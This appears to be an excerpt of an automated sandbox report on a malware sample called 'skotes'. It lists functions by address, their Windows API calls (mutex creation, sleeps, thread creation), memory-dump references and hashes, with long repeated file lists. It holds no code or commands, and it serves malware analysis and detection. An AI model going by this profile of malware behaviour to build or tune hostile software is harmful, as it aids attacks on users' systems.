Function 00ACA54D Relevance: 4.6, APIs: 3, Instructions: 132sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00ACA550
Sleep.KERNEL32(00000064,?), ref: 00ACA963
CreateMutexA.KERNEL32(00000000,00000000,00B23254), ref: 00ACA981

Memory Dump Source

Source File: 00000006.00000002.2883431001.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000006.00000002.2883361037.0000000000AC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883431001.0000000000B22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883666463.0000000000B29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883727805.0000000000B2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883793902.0000000000B35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883845805.0000000000B36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883909001.0000000000B37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884271037.0000000000C98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884331469.0000000000C9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884528151.0000000000CC3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884599549.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884663901.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884732748.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884811901.0000000000CC8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884884192.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884989302.0000000000CE4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885067265.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885145077.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885227523.0000000000D04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885306041.0000000000D1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885368995.0000000000D21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885429506.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885497273.0000000000D25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885572898.0000000000D2E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885645797.0000000000D34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885714004.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885779635.0000000000D37000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885814983.0000000000D4F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885873256.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885928333.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885992640.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886053698.0000000000D58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886119416.0000000000D60000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886192985.0000000000D71000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886244350.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886312925.0000000000D7D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D7E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886502387.0000000000DCD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886552614.0000000000DCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886584657.0000000000DCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886645890.0000000000DD5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886672302.0000000000DD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886705325.0000000000DE4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886743978.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ac0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: a80883e831e6947c980c88ae33c1f7e713f7854f9742a310e38322555e256e32
Instruction ID: 3ff65c86954fe440a10b10b6ce67cc857f1f22153a1aec8a50815746ece3faa3
Opcode Fuzzy Hash: a80883e831e6947c980c88ae33c1f7e713f7854f9742a310e38322555e256e32
Instruction Fuzzy Hash: B5312731B101088BEB08DB78D989F7DB762EF95318F24875CE015AB3D6CB3989818752

Function 00ACA682 Relevance: 4.6, APIs: 3, Instructions: 131sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00ACA685
Sleep.KERNEL32(00000064,?), ref: 00ACA963
CreateMutexA.KERNEL32(00000000,00000000,00B23254), ref: 00ACA981

Memory Dump Source

Source File: 00000006.00000002.2883431001.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000006.00000002.2883361037.0000000000AC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883431001.0000000000B22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883666463.0000000000B29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883727805.0000000000B2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883793902.0000000000B35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883845805.0000000000B36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883909001.0000000000B37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884271037.0000000000C98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884331469.0000000000C9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884528151.0000000000CC3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884599549.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884663901.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884732748.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884811901.0000000000CC8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884884192.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884989302.0000000000CE4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885067265.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885145077.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885227523.0000000000D04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885306041.0000000000D1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885368995.0000000000D21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885429506.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885497273.0000000000D25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885572898.0000000000D2E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885645797.0000000000D34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885714004.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885779635.0000000000D37000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885814983.0000000000D4F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885873256.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885928333.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885992640.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886053698.0000000000D58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886119416.0000000000D60000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886192985.0000000000D71000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886244350.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886312925.0000000000D7D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D7E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886502387.0000000000DCD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886552614.0000000000DCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886584657.0000000000DCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886645890.0000000000DD5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886672302.0000000000DD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886705325.0000000000DE4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886743978.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ac0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 863101bc4d2dcf551cb47f64205da6b1df0ec214358d2a8c79597f74e369d0a5
Instruction ID: 24b4ecd6b05eb1471f01a0f5a067118c8ae96e0b8d6eb2c694329f7ffcdef6ca
Opcode Fuzzy Hash: 863101bc4d2dcf551cb47f64205da6b1df0ec214358d2a8c79597f74e369d0a5
Instruction Fuzzy Hash: 90312731710208CBEB08DB78DD89B7DBB72EF95318F24865CE014E72D2C73989808652

Function 00ACA7B7 Relevance: 4.6, APIs: 3, Instructions: 130sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00ACA7BA
Sleep.KERNEL32(00000064,?), ref: 00ACA963
CreateMutexA.KERNEL32(00000000,00000000,00B23254), ref: 00ACA981

Memory Dump Source

Source File: 00000006.00000002.2883431001.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000006.00000002.2883361037.0000000000AC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883431001.0000000000B22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883666463.0000000000B29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883727805.0000000000B2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883793902.0000000000B35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883845805.0000000000B36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883909001.0000000000B37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884271037.0000000000C98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884331469.0000000000C9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884528151.0000000000CC3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884599549.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884663901.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884732748.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884811901.0000000000CC8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884884192.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884989302.0000000000CE4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885067265.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885145077.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885227523.0000000000D04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885306041.0000000000D1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885368995.0000000000D21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885429506.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885497273.0000000000D25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885572898.0000000000D2E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885645797.0000000000D34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885714004.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885779635.0000000000D37000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885814983.0000000000D4F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885873256.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885928333.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885992640.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886053698.0000000000D58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886119416.0000000000D60000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886192985.0000000000D71000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886244350.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886312925.0000000000D7D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D7E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886502387.0000000000DCD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886552614.0000000000DCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886584657.0000000000DCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886645890.0000000000DD5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886672302.0000000000DD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886705325.0000000000DE4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886743978.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ac0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 3fa3f3c83de0355bbf5248399408f00f20df954bd6c3df6cf3d08b5ca4a4e419
Instruction ID: 247aaf5a0966b95baa9c5718317e255f55174dd506b866589dd10b85ff1331dd
Opcode Fuzzy Hash: 3fa3f3c83de0355bbf5248399408f00f20df954bd6c3df6cf3d08b5ca4a4e419
Instruction Fuzzy Hash: 92312731B10108CBEB08DB78DD89F7DBB72AF95314F20835CE014A72D1DB3689818752

Function 00AF6E4C Relevance: 3.1, APIs: 2, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2883431001.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000006.00000002.2883361037.0000000000AC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883431001.0000000000B22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883666463.0000000000B29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883727805.0000000000B2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883793902.0000000000B35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883845805.0000000000B36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883909001.0000000000B37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884271037.0000000000C98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884331469.0000000000C9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884528151.0000000000CC3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884599549.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884663901.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884732748.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884811901.0000000000CC8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884884192.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884989302.0000000000CE4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885067265.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885145077.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885227523.0000000000D04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885306041.0000000000D1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885368995.0000000000D21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885429506.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885497273.0000000000D25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885572898.0000000000D2E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885645797.0000000000D34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885714004.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885779635.0000000000D37000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885814983.0000000000D4F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885873256.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885928333.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885992640.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886053698.0000000000D58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886119416.0000000000D60000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886192985.0000000000D71000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886244350.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886312925.0000000000D7D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D7E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886502387.0000000000DCD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886552614.0000000000DCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886584657.0000000000DCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886645890.0000000000DD5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886672302.0000000000DD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886705325.0000000000DE4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886743978.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ac0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5bb373eabcc7456cd4981578202e08e5511e6768ab722a613a12b25a9dbff9e4
Instruction ID: c16490454a0e0fcc8e975a2f1f5509553cf6dec2e262abf2f30f185587f38578
Opcode Fuzzy Hash: 5bb373eabcc7456cd4981578202e08e5511e6768ab722a613a12b25a9dbff9e4
Instruction Fuzzy Hash: 2021B37290520CAAEB11ABE8ED42BBF7729DF42374F200355FA642B1D1DB709E0597A1

Function 00ACA960 Relevance: 3.0, APIs: 2, Instructions: 43sleepsynchronizationCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000064,?), ref: 00ACA963
CreateMutexA.KERNEL32(00000000,00000000,00B23254), ref: 00ACA981

Memory Dump Source

Source File: 00000006.00000002.2883431001.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000006.00000002.2883361037.0000000000AC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883431001.0000000000B22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883666463.0000000000B29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883727805.0000000000B2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883793902.0000000000B35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883845805.0000000000B36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883909001.0000000000B37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884271037.0000000000C98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884331469.0000000000C9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884528151.0000000000CC3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884599549.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884663901.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884732748.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884811901.0000000000CC8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884884192.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884989302.0000000000CE4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885067265.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885145077.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885227523.0000000000D04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885306041.0000000000D1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885368995.0000000000D21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885429506.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885497273.0000000000D25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885572898.0000000000D2E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885645797.0000000000D34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885714004.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885779635.0000000000D37000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885814983.0000000000D4F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885873256.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885928333.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885992640.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886053698.0000000000D58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886119416.0000000000D60000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886192985.0000000000D71000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886244350.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886312925.0000000000D7D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D7E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886502387.0000000000DCD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886552614.0000000000DCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886584657.0000000000DCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886645890.0000000000DD5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886672302.0000000000DD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886705325.0000000000DE4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886743978.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ac0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 69a35927d5572e283ce9bd34a4a51888ea98da725c059286d054b2265add49b7
Instruction ID: 3ae24a86aab5d8ee66b9a852441ad744dc2b3a982f58a9240b67af2f6ff31ccb
Opcode Fuzzy Hash: 69a35927d5572e283ce9bd34a4a51888ea98da725c059286d054b2265add49b7
Instruction Fuzzy Hash: FCE086213F9304D9EA1473BC688EF3E65948FE5B00F224B5CE614E70D3896549404563

Function 00AD6D00 Relevance: 3.0, APIs: 2, Instructions: 14sleepthreadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00000000,Function_00016C70,00000000,00000000,00000000), ref: 00AD6D11
Sleep.KERNEL32(00007530), ref: 00AD6D25

Memory Dump Source

Source File: 00000006.00000002.2883431001.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000006.00000002.2883361037.0000000000AC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883431001.0000000000B22000.00000040.00000001.01000000.00000007.sdmpDownload File
